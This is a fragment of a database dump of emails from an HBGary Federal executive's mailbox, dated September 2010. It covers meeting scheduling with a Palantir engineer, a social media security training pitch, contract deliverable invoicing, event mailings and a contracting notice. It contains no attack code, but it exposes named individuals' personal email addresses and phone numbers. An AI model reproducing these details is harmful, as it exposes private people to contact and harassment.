Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n \r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat.  I have a meeting in Mclean with FBI Cyber\r\nDivision at 1:30 sooo good segway.  How about 11:30?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 1:56 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s do Wed. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September\r\n09, 2010 10:40 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n9/13 is bad I will be in Denver Mon/Tues.  I can do Wed\r\nor Fri.  Always up for lunch at your place. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?  Want to come for lunch? \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, September\r\n07, 2010 10:10 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing, just send me a note.  I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.  I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s sync up when I get back from India.  This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow @palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities.  It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don&#39;t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization.  We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day.  We also offer a tailored training\r\nprogram that is preceded by a social media penetration test.  The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training.  You\r\ncan also follow us on twitter to receive regular updates  or become a fan\r\nof our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10519,'aaron_hbgary_com/10519.html'),(11628,'2010-09-10','\"Melanie Gamarra\" <melanie@executivebiz.com>','/aaron@hbgary.com/new/1297008743.M77558P14101Q6483.eml','aaron@hbgary.com','Corporate Headshot','Hello my name is Melanie,\r\nI am the graphic designer here at ExecutiveBiz. I understand you are a 4x24 member. I would like to request a corporate headshot that will appear in our dinner booklets/bios and future publications. If you have any questions as to picture quality please do not hesitate to ask. I have attached an example of a HiRes corporate headshot. The one picture that we do have on file becomes unclear when blown up. Thank You!\r\n-\r\nMelanie Gamarra\r\ngraphic designer\r\n\r\n[cid:3366974008_1467737]\r\n\r\nwww.executivemosaic.com\r\n\r\n8230 Old Courthouse Road\r\nSuite 460\r\nVienna, VA 22182\r\n703.226.7009\r\n',2509,'aaron_hbgary_com/2509.html'),(11629,'2010-09-10','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008747.M627402P14101Q6484.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','isolated the words and phrases that made each racial group\'s essays statistically distinct from the others','http://blog.okcupid.com/index.php/the-real-stuff-white-people-like/\r\n',1882,'aaron_hbgary_com/1882.html'),(11630,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008751.M442069P14101Q6485.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: Final Deliverables','Jerry,\r\n\r\nAttached is the invoice and all supporting documentation (including\r\nCDRLs).  Please let me know if there is anything else you need from\r\nus.  It was a pleasure working with you.  I look forward to other\r\nopportunities to team with Agilex.\r\n\r\nPaul, are the attached receipts (pdf\'s) acceptable, or do I need to\r\nsend in original hard-copies?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 3:37 PM, Jerry McClure  wrote:\r\n> Ted - This is the approval we needed for the deliverable.  Please send me HbGary hours and travel receipts so we can bill LANL.  Great job by you and Mark as LANL felt this was a good job.  Thanks\r\n>\r\n> ________________________________________\r\n> From: Taylor, David A [dataylor@lanl.gov]\r\n> Sent: Thursday, September 09, 2010 1:05 PM\r\n> To: Ted Vera; Jerry McClure\r\n> Cc: Martinez, Timmy L; Villareal, Terri L\r\n> Subject: RE: Final Deliverables\r\n>\r\n> Everything looks good to me.\r\n> I will work with purchasing to get the PO received so that it can be invoiced.\r\n>\r\n> Thanks.\r\n>\r\n> dat\r\n>\r\n> -----Original Message-----\r\n> From: Taylor, David A\r\n> Sent: Thursday, September 09, 2010 10:05 AM\r\n> To: \'Ted Vera\'\r\n> Cc: Jerry McClure; \'Martinez, Timmy L\'\r\n> Subject: RE: Final Deliverables\r\n>\r\n> From Tues 3:09P?\r\n>\r\n> They were thrown in my junk mail.\r\n> That\'s cyber security for you.\r\n> I need a couple of hours to review.\r\n>\r\n> Thanks.\r\n>\r\n> dat\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, September 09, 2010 8:52 AM\r\n> To: Taylor, David A\r\n> Cc: Jerry McClure\r\n> Subject: Re: Final Deliverables\r\n>\r\n> Hi David,\r\n>\r\n> In the message thread below I sent the finals, can you double check\r\n> that you received them? I can resend if you did not.\r\n>\r\n> Ted\r\n>\r\n> On Sep 9, 2010, at 8:36 AM, \"Taylor, David A\"  wrote:\r\n>\r\n>> I have yet to receive the final documents.\r\n>> I only have the drafts.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\n>> Sent: Thursday, September 09, 2010 4:15 AM\r\n>> To: \'Ted Vera\'; Taylor, David A\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> David - Any issue in not approving these deliverables?  Thanks\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 5:08 PM\r\n>> To: dataylor@lanl.gov\r\n>> Cc: Jerry McClure\r\n>> Subject: Final Deliverables\r\n>>\r\n>> Hello David,\r\n>>\r\n>> Attached are the final contract deliverables as specified below:\r\n>>\r\n>> Contract Deliverables:\r\n>> 1:  Written review of the proposed solution with suggestions for improvements.\r\n>> 2:  Red Team Review, renamed \"Security Assessment Review\", as requested.\r\n>> 3:  Final report with recommendations and analysis of the potential vulnerabilities.\r\n>>\r\n>> Please review and reply to all with a statement that these are accepted as final.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n',3734,'aaron_hbgary_com/3734.html'),(11631,'2010-09-10','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008751.M994657P14101Q6486.eml','aaron@hbgary.com','Upcoming AFCEA Contracting and Program Management Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n          901 Government Contracting:&nbsp; Workshop for Engineers, Projects Managers, Technical Representatives, Procurement Specialists, and Contract Administrators;\r\n           November 2-4, 2010 and January 25-27, 2011 (San Diego) \r\n          This three-day course focuses on the fundamentals of government contracting tailored primarily to the needs of government and industry engineers, technical representatives, project managers, and procurement specialists, working in an austere budget and changing environment.\r\n          Students will receive Instructor Bill Giallourakis\'s book, Contracting with Uncle Sam.\r\n          905&nbsp; Post 9/11:&nbsp; Compliance and Security in Global Supply Chain - Best Practices in Leadership and Management;&nbsp;November 8-9, 2010 \r\n          This course is designed for those engaged in direct or indirect of supporting global supply chain operations, performance and functionality. The seminar will cover all import &amp; export trade compliance issues that have been put in place by the U. S. government since the events of 9/11. The course will also review all government agencies involved in trade compliance and the consequences of non compliance.\r\n          902 Project Management Professional; January 10-14, 2010 \r\n          Successful completion of this course will allow a student to identify the unique characteristics of a project and complete a 5x9 matrix of the project management process groups against the applicable knowledge areas. The student will be able to apply mathematical formulas to project management processes while completing scenario dependent practice PMP tests. Students will receive an editable CD with project templates of all the topics listed in the course outline. Course completion certificates will be provided by the University of Puerto Rico, Mayaguez Campus.\r\n          907 The Ultimate Government Market Research Workshop; September 28, 2010, \r\n          January 5, 2011 and January 26, 2011(San Diego) \r\n          This course delivers practical examples of how public market research tools and other research resources can increase success and lower costs of government business development. The course poses research problems, demonstrates the use of research tools, features active discussion, and offers the opportunity to research sample questions in small groups. It also includes a candid exchange among participants of their experiences with vendors of market research consulting services. Attendees will gain a solid understanding of how government business opportunities are uncovered and will get take-home exercises to develop skills after the class is done.\r\n          906 &nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; September 29-30, 2010, January 6-7, 2011 and January 24-25, 2011 (San Diego)\r\n          This course covers the challenges small business teams and prime contractors are likely to encounter in winning government business, using active discussion, case studies, and group exercises. Business strategy, targeting, and relationship development are the foundation of this course, with an emphasis on free public sources of information.\r\n          Other Courses Offered in October: \r\n          750 - Fundamentals of TEMPEST Security; October 5-7 \r\n          261 - Net-Centric Warfare: Interpretation, Technologies and Implementation; October 12-15\r\n          385 - Internet and Multi-Level Security and Technology; October 18-20 \r\n          281 - GCCS-Joint: Transitioning to Joint Command and Control Capabilities; October 18-22 \r\n          515 - Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for\r\n          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Program Managers; October 19 \r\n          601 - Knowledge Management and Social Networking through Semantic Web; October 20-22 \r\n          603 - Data Mining Technologies; October 25-27 \r\n          380 - Privacy Protection and Computer Forensics; October 28-29 \r\n          &nbsp;\r\n          All courses will be held in Fairfax, VA, unless otherwise noted. \r\n          \r\n            For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n            \r\n        \r\n            ____________________________________________________________________________\r\n          \r\n          For more PDC course information: \r\n          Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n          The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\n          Subscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n          For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n           \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n          _____________________________________________________________________________\r\n          \r\n          \r\n          \r\n            This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n                  \r\n    AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n      \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',15560,'aaron_hbgary_com/15560.html'),(11632,'2010-09-10','\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>','/aaron@hbgary.com/new/1297008752.M308108P14101Q6487.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Social Media Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis is great, thanks for fwding to me.&nbsp; Apologies for the\r\ndelayed response.&nbsp; \r\n\r\n&nbsp;\r\n\r\nMike \r\n\r\n&nbsp;\r\n\r\nMichael Lefebvre\r\n\r\nNorthrop Grumman \r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\nc. 571.318.7326\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 03, 2010 9:36 AM\r\nTo: Lefebvre, Michael (IS)\r\nSubject: EXTERNAL:Re: Cyber Social Media Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI sent the below text out to a some folks, including Gib,\r\nthe other day and thought I would make you aware of it. &nbsp;Let me know if I\r\ncan answer any questions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---------------\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how to\r\neffectively protect themselves.\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',603,'aaron_hbgary_com/603.html'),(11633,'2010-09-10','arc@westfields.net','/aaron@hbgary.com/new/1297008752.M527223P14101Q6488.eml','federal@hbgary.com','MOD Sole Source Business Opportunity Posting','\r\nThe NRO/MOD Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPAF/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; 